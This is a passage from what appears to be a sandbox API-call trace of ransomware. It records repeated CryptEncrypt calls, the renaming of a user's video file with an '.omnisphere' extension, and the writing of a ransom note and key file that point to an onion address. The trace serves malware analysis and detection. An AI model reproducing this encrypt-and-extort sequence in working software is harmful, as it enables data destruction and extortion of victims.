pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.903] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.904] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.905] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.906] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.907] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.907] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.907] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.910] CryptDestroyKey (hKey=0x1639728) returned 1 [0162.910] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0162.910] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xc290, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0162.910] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0162.911] GetProcessHeap () returned 0x1600000 [0162.911] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x27c) returned 0x164c730 [0162.911] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\-hpiv8b0j5lezuuxms.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\-hpiv8b0j5lezuuxms.mkv.omnisphere")) returned 1 [0162.913] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv.omnisphere.id" [0162.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\-hpiv8b0j5lezuuxms.mkv.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0162.915] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0162.916] CloseHandle (hObject=0x3bc) returned 1 [0162.918] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.919] CloseHandle (hObject=0x380) returned 1 [0162.919] SetEndOfFile (hFile=0x39c) returned 1 [0162.922] FlushFileBuffers (hFile=0x39c) returned 1 [0162.950] CloseHandle (hObject=0x39c) returned 1 [0162.950] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\-HpIv8B0j5lezuuXMs.mkv" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0162.950] GetProcessHeap () returned 0x1600000 [0162.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164c9b8 [0162.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.950] GetProcessHeap () returned 0x1600000 [0162.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733770 [0162.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733770, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.950] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.951] GetProcessHeap () returned 0x1600000 [0162.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f440 [0162.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f440, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.951] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.951] GetProcessHeap () returned 0x1600000 [0162.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1733240 [0162.951] PathCombineW (in: pszDest=0x1733240, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0162.951] GetProcessHeap () returned 0x1600000 [0162.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176ec88 [0162.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.951] WriteFile (in: hFile=0x39c, lpBuffer=0x176ec88*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176ec88*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0162.951] CloseHandle (hObject=0x39c) returned 1 [0162.954] GetProcessHeap () returned 0x1600000 [0162.954] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164c9b8 | out: hHeap=0x1600000) returned 1 [0162.954] GetProcessHeap () returned 0x1600000 [0162.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a180 [0162.954] PathCombineW (in: pszDest=0x163a180, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0162.954] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, 